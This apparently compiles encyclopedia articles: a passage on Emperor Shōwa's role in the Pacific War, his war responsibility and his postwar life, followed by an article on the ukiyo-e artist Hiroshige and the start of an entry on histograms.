          On September 5, Prime Minister Konoe informally submitted a draft of the decision to the emperor, just one day in advance of the Imperial Conference at which it would be formally implemented. On this evening, Emperor Shōwa had a meeting with the chief of staff of the army, Sugiyama, chief of staff of the navy, Osami Nagano, and Prime Minister Konoe. The emperor questioned Sugiyama about the chances of success of an open war with the Occident. As Sugiyama answered positively, the Emperor scolded him:


          
            
              	

              	At the time of the China incident, the army told me that we could make Chiang surrender after three months but you still can't beat him even today! Sugiyama, you were minister at the time.

              China is a vast area with many ways in and ways out, and we met unexpectedly big difficulties.

              You say the interior of China is huge; isn't the Pacific Ocean even bigger than China? Didn't I caution you each time about those matters? Sugiyama, are you lying to me?

              	
            

          


          Chief of Naval General Staff Admiral Nagano, a former Navy Minister and vastly experienced, later told a trusted colleague, "I have never seen the emperor reprimand us in such a manner, his face turning red and raising his voice."


          According to the traditional view, Emperor Shōwa was deeply concerned by the decision to place "war preparations first and diplomatic negotiations second," and he announced his intention to break with tradition. At the Imperial Conference on the following day, the emperor directly questioned the chiefs of the Army and Navy general staffs, a quite unprecedented action.


          Nevertheless, all speakers at the Imperial Conference were united in favour of war rather than diplomacy. Baron Yoshimichi Hara, President of the Imperial Council and the Emperor's representative, then questioned them closely, producing replies to the effect that war would only be considered as a last resort from some, and silence from others.


          At this point, the emperor astonished all present by addressing the conference personally, and in breaking the tradition of Imperial silence left his advisors "struck with awe." (Prime Minister Konoe's description of the event.) Emperor Shōwa stressed the need for peaceful resolution of international problems, expressed regret at his ministers' failure to respond to Baron Hara's probings, and recited a poem written by his grandfather, Emperor Meiji which, he said, he had read "over and over again":


          
            
              	

              	I think all the people of the world are brethren, then.

              Why are the waves and the wind so unsettled nowadays?

              	
            

          


          Recovering from their shock, the ministers hastened to express their profound wish to explore all possible peaceful avenues. The Emperor's presentation was in line with his practical role as leader of the Shinto religion.


          At this time, Army Imperial Headquarters was continually communicating with the Imperial household in detail about the military situation. On October 8, Sugiyama signed a 47 page report to the emperor (sōjōan) outlining in minute detail plans for the advance in Southeast Asia. During the third week of October, Sugiyama gave the emperor a 51 page document, "Materials in Reply to the Throne," about the operational outlook for the war.


          As war preparations continued, Prime Minister Konoe found himself more and more isolated and gave his demission on October 16. He justified himself to his chief cabinet secretary, Kenji Tomita:


          
            
              	

              	Of course His Majesty is a pacifist, and there is no doubt he wished to avoid war. When I told him that to initiate war was a mistake, he agreed. But the next day, he would tell me: You were worried about it yesterday, but you do not have to worry so much. Thus, gradually, he began to lead toward war. And the next time I met him, he leaned even more toward. In short, I felt the Emperor was telling me: my prime minister does not understand military matters, I know much more. In short, the Emperor had absorbed the view of the army and navy high commands.

              	
            

          


          The army and the navy recommended the candidacy of Prince Higashikuni, one of the emperor's uncles. According to the Shōwa "Monologue," written after the war, the Emperor then said that if the war were to begin while a member of the imperial house was prime minister, the imperial house would have to carry the responsibility and this he opposed.


          Instead, the emperor chose the hard-line General Hideki Tōjō, who was known for his devotion to the imperial institution, and asked him to make a policy review of what had been sanctioned by the imperial conferences. On November 2, Tōjō, Sugiyama and Nagano reported to the emperor that the review of eleven points had been in vain. Emperor Shōwa gave his consent to the war and then asked: "Are you going to provide justification for the war?"


          On November 3, Nagano explained in detail the Pearl Harbour attack plan to the emperor. On November 5, Emperor Shōwa approved in imperial conference the operations plan for a war against the Occident and had many meetings with the military and Tōjō until the end of the month. On December 1, an imperial conference sanctioned the "War against the United States, United Kingdom and the Kingdom of the Netherlands." On 8 December ( 7 December in Hawaii) 1941, in simultaneous attacks, Japanese forces struck at the US Fleet in Pearl Harbour and began the invasion of Malaysia.


          With the nation fully committed to the war, Emperor Shōwa took a keen interest in military progress and sought to boost morale. According to Akira Yamada and Akira Fujiwara, the emperor made major interventions in some military operations. For example, he pressed Sugiyama four times, on January 13 and 21 and February 9 and 26, to increase troop strength and launch an attack on Bataan. On February 9, March 19 and May 29, the emperor ordered the Army Chief of staff to examine the possibilities for an attack on Chungking, which led to operation Gogo.


          As the tide of war gradually began to turn (around late 1942 and early 1943), some people argue that the flow of information to the palace gradually began to bear less and less relation to reality, while others suggest that the emperor worked closely with Prime Minister Tōjō, continued to be well and accurately briefed by the military, and knew Japan's military position precisely right up to the point of surrender. The chief of staff of the General Affairs section of the Prime Minister's office, Shuichi Inada, remarked to Tōjō's private secretary, Sadao Akamatsu:
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              	There has never been a cabinet in which the prime minister, and all the ministers, reported so often to the throne. In order to effect the essence of genuine direct imperial rule and to relieve the concerns of the emperor, the ministers reported to the throne matters within the scope of their responsibilities as per the prime minister's directives... In times of intense activities, typed drafts were presented to the emperor with corrections in red. First draft, second draft, final draft and so forth, came as deliberations progressed one after the other and were sanctioned accordingly by the emperor.

              	
            

          


          In the first six months of war, all the major engagements had been victories. As the tide turned in the summer of 1942 with the battle of Midway and the landing of the American forces on Guadalcanal and Tulagi in August, the Emperor recognized the potential danger and pushed the navy and the army for greater efforts. When informed in August 1943 by Sugiyama that the American advance through the Solomon islands could not be stopped, the emperor asked his chief of staff to consider other places to attack: "When and where on are you ever going to put up a good fight? And when are you ever going to fight a decisive battle?" On August 24, the emperor reprimanded Nagano for the defeat of Bela Bela and on September 11, he ordered Sugiyama to work with the Navy to implement better military preparation and give adequate supply to soldiers fighting in Rabaul.


          Throughout the following years, the sequence of drawn and then decisively lost engagements was reported to the public as a series of great victories. Only gradually did it become apparent to the people in the home islands that the situation was very grim. U.S. air raids on the cities of Japan starting in 1944 made a mockery of the unending tales of victory. Later that year, with the downfall of Hideki Tōjō's government, two other prime ministers were appointed to continue the war effort, Kuniaki Koiso and Kantaro Suzuki each with the formal approval of the emperor. Both were unsuccessful and Japan was nearing defeat.


          


          Last days of the war
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          In early 1945, in the wake of the loss of Leyte, Emperor Shōwa began a series of individual meetings with senior government officials to consider the progress of the war. All but ex-Prime Minister Fumimaro Konoe advised continuing the war. Konoe feared a communist revolution even more than defeat in war and urged a negotiated surrender. In February 1945, during the first private audience with the emperor he had been allowed in three years Konoe advised Hirohito to begin negotiations to end World War II. According to Grand Chamberlain Hisanori Fujita, the emperor, still looking for a tennozan (a great victory) in order to provide a stronger bargaining position, firmly rejected Konoe's recommendation.


          With each passing week a great victory became less likely. In April the Soviet Union issued notice that it would not renew its neutrality agreement. Japan's ally Germany surrendered in early May 1945. In June, the cabinet reassessed the war strategy, only to decide more firmly than ever on a fight to the last man. This strategy was officially affirmed at a brief Imperial Council meeting, at which the emperor listened in stony-faced silence.


          The following day, Lord Keeper of the Privy Seal Kōichi Kido prepared a draft document which summarized the hopeless military situation and proposed a negotiated settlement. According to some commentators, the Emperor privately approved of it and authorized Kido to circulate it discreetly amongst less hawkish cabinet members; others suggest that the Emperor was indecisive, and that the delay cost many tens of thousands of Japanese and Allied lives. Extremists in Japan were also calling for a death-before-dishonor mass suicide, modeled on the " 47 Ronin" incident. By mid-June 1945, the cabinet had agreed to approach the Soviet Union to act as a mediator for a negotiated surrender, but not before Japan's bargaining position had been improved by repulse of the anticipated Allied invasion of mainland Japan.


          On June 22, the Emperor met his ministers, saying "I desire that concrete plans to end the war, unhampered by existing policy, be speedily studied and that efforts be made to implement them." The attempt to negotiate a peace via the Soviet Union came to nothing. There was always the threat that extremists would carry out a coup or foment other violence. On July 26, 1945, the Allies issued the Potsdam Declaration demanding unconditional surrender. The Japanese government council, the Big Six, considered that option and recommended to the emperor that it be accepted only if one to three conditions were agreed, including a guarantee of the emperor's continued position in Japanese society. The emperor decided not to surrender.


          On August 9, 1945, following the atomic bombings of Hiroshima and Nagasaki and the Soviet declaration of war, Emperor Shōwa told Kido to "quickly control the situation" because "the Soviet Union has declared war and today began hostilities against us." On August 10, the cabinet drafted an " Imperial Rescript ending the War" following the emperor's indications that the declaration did not compromise any demand which prejudiced the prerogatives of His Majesty as a Sovereign Ruler.


          On August 12, 1945, the Emperor informed the imperial family of his decision to surrender. One of his uncles, Prince Asaka, asked whether the war would be continued if the kokutai (national polity) could not be preserved. The Emperor simply replied "of course." On August 14, the Suzuki government notified the Allies that it had accepted the Potsdam Declaration. On August 15, a recording of the Emperor's surrender speech was broadcast over the radio signifying the unconditional surrender of Japan's military forces (known as Gyokuon-hōsō).


          Objecting to the surrender, die-hard army fanatics attempted a coup d'tat by conducting a full military assault and takeover of the Imperial Palace. The physical recording of the surrender speech was hidden and preserved overnight, and the coup was quickly crushed on the Emperor's order.


          The surrender speech noted that "the war situation has developed not necessarily to Japan's advantage" and ordered the Japanese to "endure the unendurable" in surrender. It was the first time the public had heard the Emperor's voice. He was purposely vague, because the Emperor of Japan was not regarded merely as a human saying "We surrender to the Allies," but rather, was viewed as the sacred symbol, embodiment, and leader of Japan, and as such this required a vague tone that preserved this mystique. Indeed, the formal, stilted Japanese used by the Emperor in the speech was not readily understood by many common Japanese. According to historian Richard Storry in A History of Modern Japan, the Emperor typically used "a form of language familiar only to the well-educated" and to the more traditional samurai families.


          


          The issue of the Emperor's responsibility for war crimes


          Many people from countries once part of the Greater East Asia Co-Prosperity Sphere see Emperor Shōwa as responsible for the atrocities committed by the imperial forces in the Second Sino-Japanese War and in World War II. Some feel that he, some members of the imperial family such as his brother Prince Chichibu, his cousins Prince Takeda and Prince Fushimi, and his uncles Prince Kan'in, Prince Asaka, and Prince Higashikuni, should have been tried for war crimes. Because of this perception of responsibility for war crimes and lack of accountability, many Asians residing in countries that were subject to Japanese invasion, as well as others in nations that fought Japan, retain a hostile attitude towards the Japanese imperial family.


          The issue of responsibility for war crimes usually involves a debate regarding how much real control the Emperor had over the Japanese military during the two wars. Officially, the imperial constitution, adopted under Emperor Meiji, gave full power to the Emperor. Article 4 prescribed that "The Emperor is the head of the Empire, combining in Himself the rights of sovereignty, and exercises them, according to the provisions of the present Constitution" while, according to article 6 "The Emperor gives sanction to laws and orders them to be promulgated and executed" and article 11, "The Emperor has the supreme command of the Army and the Navy." The Emperor was thus the leader of the Imperial General Headquarters.


          The view promoted by both the Japanese Imperial Palace and the American occupation forces immediately after World War II had Emperor Shōwa as a powerless figurehead behaving strictly according to protocol, while remaining at a distance from the decision-making processes.


          Many historians such as Akira Fujiwara (Shōwa Tennō no Jū-go Nen Sensō, 1991) and Peter Wetzler (Hirohito and War, 1998), based on the primary sources and the monumental work of Shirō Hara, have produced evidence suggesting that the Emperor worked through intermediaries to exercise a great deal of control over the military and was neither bellicose nor a pacifist, but an opportunist who governed in a pluralistic decision-making process. American historian Herbert Bix argues that Emperor Shōwa may have been the prime mover of most of the events of the two wars. Historians such as Bix, Fujiwara, Wetzler, and Akira Yamada recognize that the post-war view focusing on imperial conferences misses the importance of numerous "behind the chrysanthemum curtain" meetings where the real decisions were made between the emperor, his chiefs of staff, and the cabinet.


          Primary sources, such as the "Sugiyama memo" and the diaries of Kido and Konoe, describe in detail the informal meetings Emperor Shōwa had with his chiefs of staff and ministers (For example, Prince Fumimaro Konoe had a very good firsthand view of the surrender events). These documents show that the Emperor was kept informed of all main military operations and that he frequently questioned his senior staff and asked for changes.


          


          Post-war reign
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          As the Emperor chose his uncle Prince Higashikuni as prime minister to assist the occupation, there were attempts by numerous leaders to have him put on trial for alleged war crimes. Many members of the imperial family such as Princes Chichibu, Takamatsu and Higashikuni pressured the Emperor to abdicate so one of the Princes could serve as regent until Crown Prince Akihito came of age. On February 27, 1946, the emperor's youngest brother, Prince Mikasa (Takahito), even stood up in the privy council and indirectly urged the emperor to step down and accept responsibility for Japan's defeat. According to Minister of Welfare Ashida's diary, "Everyone seemed to ponder Mikasa's words. Never have I seen His Majesty's face so pale."


          U.S. General Douglas MacArthur insisted that Emperor Shōwa retain the throne. MacArthur saw the emperor as a symbol of the continuity and cohesion of the Japanese people. Many historians criticize the decision to exonerate the Emperor and all members of the imperial family implicated in the war such as Prince Chichibu, Prince Asaka, Prince Higashikuni and Prince Hiroyasu Fushimi from criminal prosecutions


          Before the war crimes trials actually convened, the SCAP, the IPS and Japanese officials worked behind the scenes not only to prevent the Imperial family from being indicted, but also to slant the testimony of the defendants to ensure that no one implicated the emperor. High officials in court circles and the Japanese government collaborated with Allied GHQ in compiling lists of prospective war criminals, while the individuals arrested as Class A suspects and incarcerated in Sugamo prison solemnly vowed to protect their sovereign against any possible taint of war responsibility. Thus, "months before the Tokyo tribunal commenced, MacArthur's highest subordinates were working to attribute ultimate responsibility for Pearl Harbour to Hideki Tōjō" by allowing "the major criminal suspects to coordinate their stories so that the Emperor would be spared from indictment." According to John Dower, "This successful campaign to absolve the Emperor of war responsibility knew no bounds. Hirohito was not merely presented as being innocent of any formal acts that might make him culpable to indictment as a war criminal. He was turned into an almost saintly figure who did not even bear moral responsibility for the war." According to Bix, "MacArthur's truly extraordinary measures to save Hirohito from trial as a war criminal had a lasting and profoundly distorting impact on Japanese understanding of the lost war."


          The Emperor was not put on trial, but he was forced to explicitly reject (in the Ningen-sengen (人間宣言, Ningen-sengen ?)) the traditional claim that the Emperor of Japan was an arahitogami, an incarnate divinity. There is consensus amongst authors such as Dower and Bix, however, that the emperor never rejected the claim that he was a descendant of Amaterasu. Immediately after the Imperial Rescript usually regarded as a repudiation of divinity, the emperor asked the occupation authorities for permission to worship the Sun Goddess. Some commentators have seen this act by the emperor to be an implicit reaffirmation of the claim to divine status; others have seen it as simply an expression of the emperor's personal religious beliefs, with no political or social implications. In any case, the "renunciation of divinity" was noted more by foreigners than by Japanese, and seems to have been intended for the consumption of the former.


          Although the Emperor supposedly had repudiated claims to divine status, his public position was deliberately left vague, partly because General MacArthur thought him likely to be a useful partner to get the Japanese to accept the occupation, and partly due to behind-the-scenes maneuverings by Shigeru Yoshida to thwart attempts to cast him as a European-style monarch.


          While Emperor Shōwa was usually seen abroad as a head of state, there is still a broad dispute about whether he became a common citizen or retained special status related to his religious offices and participations in Shinto and Buddhist calendar rituals. Many scholars claim that today's tennō (usually translated Emperor of Japan in English) is not an emperor. See the Emperor of Japan article for discussion of the position of Emperor of Japan.
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          For the rest of his life, Emperor Shōwa was an active figure in Japanese life, and performed many of the duties commonly associated with a constitutional head of state. The emperor and his family maintained a strong public presence, often holding public walkabouts, and making public appearances on special events and ceremonies.


          Emperor Shōwa also played an important role in rebuilding Japan's diplomatic image, traveling abroad to meet with many foreign leaders, including Queen Elizabeth II (1971) and President Gerald Ford (1975).


          The emperor was deeply interested in and well-informed about marine biology, and the Imperial Palace contained a laboratory from which the emperor published several papers in the field under his personal name "Hirohito." His contributions included the description of several dozen species of jellyfish new to science.


          


          Yasukuni Shrine


          Emperor Shōwa maintained an official boycott of the Yasukuni shrine after it was revealed to him that the remains of class-A war criminals had secretly been transferred to the shrine after its post war rededication. This boycott lasted from 1978 until the time of his death. This boycott has been maintained by his son Akihito, who has also refused to attend Yasukuni.


          On 20 July 2006, Nihon Keizai Shimbun published a front page article about discovery of a memorandum detailing the reason the Emperor stopped visiting Yasukuni. The memorandum, kept by former chief of Imperial Household Agency Tomohiko Tomita, confirms for the first time that the enshrinement of 14 Class A War Criminals in Yasukuni was the reason for the boycott. Tomita recorded in detail the contents of his conversations with the emperor in his diaries and notebooks. According to the memorandum, in 1988, the emperor expressed his strong displeasure at the decision made by Yasukuni Shrine to include Class A war criminals in the list of war dead honored there by saying, "At some point, Class-A criminals became enshrined, including Matsuoka and Shiratori. I heard Tsukuba acted cautiously," Tsukuba is believed to refer to Fujimaro Tsukuba, the former chief Yasukuni priest at the time, who decided not to enshrine the war criminals despite having received in 1966, the list of war dead compiled by the government. "What's on the mind of Matsudaira's son, who is the current head priest?". "Matsudaira had a strong wish for peace, but the child didn't know the parent's heart. That's why I have not visited the shrine since. This is my heart," Matsudaira is believed to refer to Yoshitami Matsudaira, who was the grand steward of the Imperial Household immediately after the end of World War II. His son, Nagayoshi, succeeded Fujimaro Tukuba as the chief priest of Yasukuni and decided to enshrine the war criminals in 1978. Nagayoshi Matsudaira passed away in 2006, which some commentators have speculated is the reason for release of the memo.


          For journalist Masanori Yamaguchi, who analyzed the "memo" and comments made by the emperor in his first-ever press conference in 1975, the emperor's evasive and opaque attitude about his own responsibility for the war and the fact he said that the bombing of Hiroshima "could not be helped", could mean that the emperor was afraid that the enshrinement of the war criminals at Yasukuni would reignite the debate over his own responsibility for the war.


          


          Death and state funeral


          
            [image: Hirohito's tomb in Hachiōji]

            
              Hirohito's tomb in Hachiōji
            

          


          On September 22, 1987, the Emperor underwent surgery on his pancreas after having digestive problems for several months. The doctors discovered that he had duodenal cancer. The emperor seemed to be recovering well for several months after the surgery. About a year later, however, on September 19, 1988, he collapsed in his palace, and his health worsened over the next several months as he suffered from continuous internal bleeding. On January 7, 1989, at 7:55 AM, the grand steward of Japan's Imperial Household Agency, Shoichi Fujimori, officially announced the Emperor's death, and revealed details about his cancer for the first time. The emperor was succeeded by his son, Akihito.


          The emperor's death ended the Shōwa era. On the same day a new era began: the Heisei era. From January 7 until January 31, the emperor's formal appellation was "Taikō Tennō (大行天皇)", which means the departed emperor. His definitive posthumous name, (昭和天皇 Shōwa Tennō), was determined on January 13 and formally released on January 31 by Toshiki Kaifu, the prime minister.


          On February 24, Emperor Shōwa's state funeral was held, and unlike that of his predecessor, it was formal but not conducted in a strictly Shinto manner. A large number of world leaders attended the funeral, including U.S. President George H.W. Bush. Japanese public opinion at the time of his death was that Emperor Shōwa had greatly helped Japan to regain economic and political stability during the postwar era. Emperor Shōwa is buried in the Imperial mausoleum in Hachiōji, alongside Emperor Taishō, his father.


          


          In popular culture


          Hirohito has been portrayed in the following movies:


          
            	The movie The Sun is loosely based upon Hirohito's meeting with General MacArthur following the surrender of Japan.


            	Hirohito is a supporting character in many WWII Japanese movies.


            	Hirohito briefly appears in Bertolucci's The Last Emperor.


            	Japanese pro wrestler Kenzo Suzuki's original ring name in the WWE was going to be Hirohito. Out of respect for the emperor, however, the idea was dropped.

          


          


          Awards


          
            	Collar and Grand Cordon of the Supreme Order of the Chrysanthemum


            	Grand Cordon of the Order of the Rising Sun with Sun Paulownia Blossoms


            	Grand Cordon of the Order of the Sacred Treasure


            	Grand Cross of the Order of Saint Olav


            	Knight of the Order of the Garter (KG)-awarded 1921, revoked 1941, restored 1975


            	Knight Grand Cross of the Order of the Bath (GCB) - conferred in May 1921, revoked 1941, restored 1975


            	Knight Grand Cross of the Royal Victorian Order (GCVO)-awarded 1921, revoked 1941, restored 1975


            	Knight of the Order of the Golden Fleece


            	Honorary General, British Army - conferred in May 1921


            	Honorary Field Marshal, British Army - conferred in 1930, revoked 1941, restored 1975

          


          


          Scientific publications


          
            	(1967) A review of the hydroids of the family Clathrozonidae with description of a new genus and species from Japan.


            	(1969) Some hydroids from the Amakusa Islands.


            	(1971) Additional notes on Clathrozoon wilsoni Spencer.


            	(1974) Some hydrozoans of the Bonin Islands


            	(1977) Five hydroid species from the Gulf of Aqaba, Red Sea.


            	(1983) Hydroids from Izu Oshima and Nijima.


            	(1984) A new hydroid Hydractinia bayeri n. sp. (family Hydractiniidae) from the Bay of Panama.


            	(1988) The hydroids of Sagami Bay collected by His Majesty the Emperor of Japan.


            	(1995) The hydroids of Sagami Bay II.(posthumous)
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              Memorial portrait of Hiroshige by Kunisada.
            

          


          Utagawa Hiroshige, (pronounced [utagaɰa iɺ̠oɕige], Japanese: 歌川広重; 1797 in Edo  October 12, 1858) was a Japanese ukiyo-e artist, and one of the last great artists in that tradition. He was also referred to as Andō Hiroshige (安藤広重) (although this combination of a family name with an art name is irregular) and by the art name of Ichiyūsai Hiroshige (一幽斎廣重).


          


          Early life


          Hiroshige was born in 1797 and named "Andō Tokutarō" in the Yayosu barracks, just east of Edo Castle in the Yaesu area of Edo (present-day Tokyo). His father was Andō Gen'emon, a hereditary retainer (of the dōshin rank) of the shōgun. An official within the fire-fighting organization whose duty was to protect Edo Castle from fire, Gen'emon and his family, along with 30 other samurai, lived in one of the 10 barracks; although their salary of 60 koku marked them as a minor family, it was a stable position, and a very easy one  Professor Seiichiro Takahashi characterizes a fireman's duties as largely consisting of revelry. The 30 samurai officials of a barracks, including Gen'emon, oversaw the efforts of the 300 lower-class workers who also lived within the barracks. A few scraps of evidence indicate he was tutored by another fireman who taught him in the Chinese-influenced Kanō school of painting.


          
            [image: View of Mount Fuji from Satta Point in the Suruga Bay, woodcut by Hiroshige, published posthumously 1859.]

            
              View of Mount Fuji from Satta Point in the Suruga Bay, woodcut by Hiroshige, published posthumously 1859.
            

          


          Legend has it that Hiroshige determined to become a ukiyo-e artist when he saw the prints of his near-contemporary, Hokusai. (Hokusai published some of his greatest prints, such as Thirty-six views of Mount Fuji, in 1832  the year Hiroshige devoted himself full-time to his art.) From then to Hokusai's death in 1849, their landscape works competed for the same customers. More likely though, like many other low-ranked samurai, Hiroshige's salary was insufficient for his needs, and this motivated him to look into artisanal crafts to supplement his income. It was easy to balance his job and his artistic pursuits, as a fireman was only intermittently busy.


          His natural inclination toward drawing marked him for an artistic life: as a child, he had played with miniature landscapes, and he was already moderately well-known for a remarkably accomplished (for his age) painting in 1806 of a procession of delegates to the Shogun from the Ryukyu Islands. He began by being taught the Kano school's style by his friend, Okajima Rinsai. These studies (such as a study of perspective in the Dutch images imported) prepared him for an apprenticeship. He first attempted to enter the studio of the extremely successful Utagawa Toyokuni but was rejected. Thus, he eventually embarked (he was rejected again on his first attempt to enter Toyohiro's studio) on an apprenticeship at the age of 15 in 1811 with the noted Utagawa Toyohiro instead of with Toyokuni; Toyohiro bestowed upon him the name "Utagawa" after only a year (instead of the normal two or three years). Hiroshige later took his master's name, becoming "Ichiyūsai Hiroshige."


          In his early apprenticeship to Toyohiro, he showed little sign of artistic genius and did not publish much. Despite earning an artistic name ("Ichiyūsai Hiroshige") and school license at the young age of 15, Hiroshige's first genuinely original publications came only in 1818 (six years later; this was also the year he was commended for his heroism in fighting a fire at Ogawa-nichi) with his Eight Views of Lake Biwa and Ten Famous Places in the Eastern Capital. These were moderately successful, but his Famous Places in the Eastern Capital (1831) attracted his first real notice. It is speculated he wiled away the interim between his initial apprenticeship and 1818 engaging in work for Toyohiro's school, like painting fans and other small items. This sort of work supported him as he continued to study the Kanō and Shijō painting styles. But all these were but precursors to the series of prints that made him famous. In 1832, Hiroshige was invited to join an embassy of Shogunal officials to the Imperial court. As his son, Nakajiro, could handle his fireman duties, Hiroshige joined it and carefully observed the Tōkaidō Road (or "Eastern Sea Route"), which wended its way along the shoreline, through a snowy mountain range, past Lake Biwa, and finally to Kyōto. His series of prints, The Fifty-Three Stations of the Tokaido, was extremely successful, and Hiroshige's career was assured, though he never lived in financial comfort even in old age.


          In 1839, Hiroshige's first wife, a woman from the Okabe family, died. Hiroshige re-married O-yasu, daughter of a farmer named Kaemon.


          
            [image: This 1857 print from Hiroshige's 100 Famous Views of Edo draws upon folklore, depicting a gathering of kitsune.]

            
              This 1857 print from Hiroshige's 100 Famous Views of Edo draws upon folklore, depicting a gathering of kitsune.
            

          


          Hiroshige lived in the barracks until he turned 43. Gen'emon and his wife died in 1809, when Hiroshige was 12 years old, just a few months after his father passed the position to him. He did not shirk his (admittedly light) duties as a fire-fighter, fulfilling them even after he had entered training in Utagawa Toyohiro's ukiyo-e school in 1811, and even when he had become an acclaimed wood-block print artist. He eventually turned his position over to Hiroshige III in 1832.


          


          Hiroshige II and Hiroshige III


          Hiroshige II was a young print artist named Shigenobu, who married Hiroshige's daughter (either adopted or from his second marriage), Tatsu. Hiroshige intended to make Shigenobu his heir in all matters, but Tatsu and Shigenobu separated. Shigenobu nevertheless began using the name Hiroshige and so is known as Hiroshige II. Tatsu remarried another artist, named Shigemasa, who became Hiroshige's heir, as a fireman and in using his name; he is known as Hiroshige III. Neither Hiroshige II nor Hiroshige III achieved the level of success and recognition achieved by, and accorded Hiroshige.


          


          Late life


          In his declining years, Hiroshige still produced thousands of prints to meet the demand for his works, but few were as good as those of his early and middle periods. In no small part, his prolificacy stemmed from the fact that he was poorly paid per series, although he was still capable of remarkable art when the conditions were right  his great One Hundred Famous Views of Edo was paid for up-front by a wealthy Buddhist priest in love with the daughter of the publisher, Uoya Eikichi (a former fishmonger).


          In 1856, Hiroshige "retired from the world," becoming a Buddhist monk; this was the year he began his One Hundred Famous Views of Edo. He died aged 62 during the great Edo cholera epidemic of 1858 (whether the epidemic killed him is unknown) and was buried in a Zen Buddhist temple in Asakusa. Just before his death, he left a poem:


          
            	"I leave my brush in the East


            	And set forth on my journey.


            	I shall see the famous places in the Western Land."

          


          (The Western Land in this context refers to the strip of land by the Tōkaidō between Kyoto and Edo, but it does double duty as a reference to the Paradise of the Amida Buddha).


          


          Works


          
            [image: A rather dark printing of the view sometimes dubbed "Man on Horseback Crossing a Bridge". From the series Sixty-nine Stations of the Kisokaidō, this is View 28 and Station 27 at Nagakubo-shuku, depicting the Wada Bridge across the Yoda River[1].]

            
              A rather dark printing of the view sometimes dubbed "Man on Horseback Crossing a Bridge". From the series Sixty-nine Stations of the Kisokaidō, this is View 28 and Station 27 at Nagakubo-shuku, depicting the Wada Bridge across the Yoda River .
            

          


          Hiroshige largely confined himself to common ukiyo-e themes such as women (bijin-ga) and actors (yakushae). Only when he was 27 did he transfer the headship of his clan to his uncle. But Hiroshige made a dramatic turnabout, when after 17 years, Toyohiro died, and Hiroshige came out with the landscape series Famous Views of the Eastern Capital (東都名所 Tōto Meisho) in 1831, which was critically acclaimed for its composition and colors. This set is generally distinguished from Hiroshige's many print sets depicting Edo by referring to it as Ichiyūsai Gakki, a title derived from the fact that he signed it as Ichiyūsai Hiroshige. With Fifty-three Stations of the Tōkaidō (1833  1834), his success was assured; the prints, drawn from Hiroshige's actual travels of the full 490 kilometers, along with details of day, location, and anecdotes of his fellow travelers, were immensely popular. In fact, this series was so popular that he reissued it in three versions, one made jointly with Kunisada. Hiroshige went on to produce more than 2000 (of his estimated total 5000) different prints of stops along the Edo and Tōkaidō Road, as well as series such as Sixty-nine Stations of the Kisokaidō (1834-1842).


          He dominated landscape printmaking with his unique brand of intimate, almost small-scale works (at least when compared against the older traditions of landscape painting descended from Chinese landscape painters through Sesshu). The travel prints generally depict travelers along the famous routes traveling and experiencing the special attractions of various stops along the way. They travel in the rain, the snow, and during all of the seasons. In 1856, working with the publisher Uoya Eikichi, he created a series of high quality prints, made with the finest printing techniques including true gradation of colour, the addition of mica to lend a unique iridescent effect, embossing, fabric printing, blind printing, and the use of glue printing (wherein ink is mixed with glue for a glittery effect). One Hundred Famous Views of Edo (issued serially between 1856 and 1859) was immensely popular. The set was not published until after his death, so not all of the prints were completed by him--he created over 100 on his own, but two were added by Hiroshige II after his death.


          


          Influence


          
            [image: left: Hiroshige, "The Plum Garden in Kameido" right: Van Gogh, "Flowering Plum Tree"]
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              right: Van Gogh, "Flowering Plum Tree"
            

          


          
            [image: left: Hiroshige, "Great Bridge, Sudden Shower at Atake" right: Van Gogh, "The Bridge in the Rain"]
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          The younger rival of Katsushika Hokusai, Hiroshige was a member of the Utagawa school, along with Kunisada (1786-1865) and Kuniyoshi (1797-1861). The Utagawa school, containing hundreds of artists, stood at the forefront of nineteenth century woodblock prints. Particularly noteworthy for their actor and historical prints, members of the Utagawa school were nonetheless well-versed in all of the popular genres.


          During Hiroshiges time, the print industry was booming and the consumer audience of prints was growing rapidly. Previously, prints had been issued in sets of ten or twelve, but the number of prints within a set was increasing at this time. This trend can be seen in Hiroshiges own work, from Sixty-nine Stations of the Kisokaidō to One Hundred Famous Views of Edo.


          In terms of his style, Hiroshige is especially noted for using unusual vantage points, seasonal allusions, and striking colors. He adapted Western principles of perspective and receding space to his own works in order to achieve a sense of realistic depth. Even more, he worked extensively within the realm of meishoe, pictures of famous places. During the Edo Period, tourism was also booming, leading to increased popular interest in travel. Travel guides abounded and towns appeared along routes such as the Tōkaidō, the road that connected Edo with Kyoto. In the midst of this burgeoning travel culture, Hiroshige drew upon his own travels and tales of others adventures for inspiration in creating his landscapes. For example, in Fifty-three Stages on the Tōkaidō (1833) he illustrates anecdotes from Travels on the Eastern Seaboard (Tōkaidōchū Hizakurige, 1802-1809) by Jippensha Ikku, a comedy describing the adventures of two bumbling travelers as they make their way along the same road.


          Hiroshiges Fifty-three Stations of the Tōkaidō (1833  1834) and One Hundred Famous Views of Edo (1856  1858) greatly influenced French Impressionists like Monet. Vincent Van Gogh also copied two of the One Hundred Famous Views of Edo. Hiroshige also influenced the Mir iskusstva, a 20th century Russian art movement of which Ivan Bilibin was a major artist.
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            [image: An example histogram of the heights of 31 Black Cherry trees.]

            
              An example histogram of the heights of 31 Black Cherry trees.
            

          


          In statistics, a histogram is a graphical display of tabulated frequencies. A histogram is the graphical version of a table that shows what proportion of cases fall into each of several or many specified categories. The histogram differs from a bar chart in that it is the area of the bar that denotes the value, not the height, a crucial distinction when the categories are not of uniform width (Lancaster, 1974). The categories are usually specified as non-overlapping intervals of some variable. The categories (bars) must be adjacent.


          The word histogram is derived from Greek: histos 'anything set upright' (as the masts of a ship, the bar of a loom, or the vertical bars of a histogram); gramma 'drawing, record, writing'. The histogram is one of the seven basic tools of quality control, which also include the Pareto chart, check sheet, control chart, cause-and-effect diagram, flowchart, and scatter diagram. A generalization of the histogram is kernel smoothing techniques. This will construct a very smooth probability density function from the supplied data.


          


          Examples


          As an example we consider data collected by the U.S. Census Bureau on time to travel to work (2000 census, , Table 5). The census found that there were 124 million people who work outside of their homes. People were asked how long it takes them to get to work, and their responses were divided into categories: less than 5 minutes, more than 5 minutes and less than 10, more than 10 minutes and less than 15, and so on. The tables shows the numbers of people per category in thousands, so that 4,180 means 4,180,000.


          The data in the following tables are displayed graphically by histograms. An interesting feature of both diagrams is the spike in the 30 minutes category. It seems likely that this is an artifact: half an hour is a common unit of informal time measurement, so people whose travel times were perhaps a little less than, or a little greater than 30 minutes might be inclined to answer "30 minutes". This rounding is a common phenomenon when collecting data from people.


          
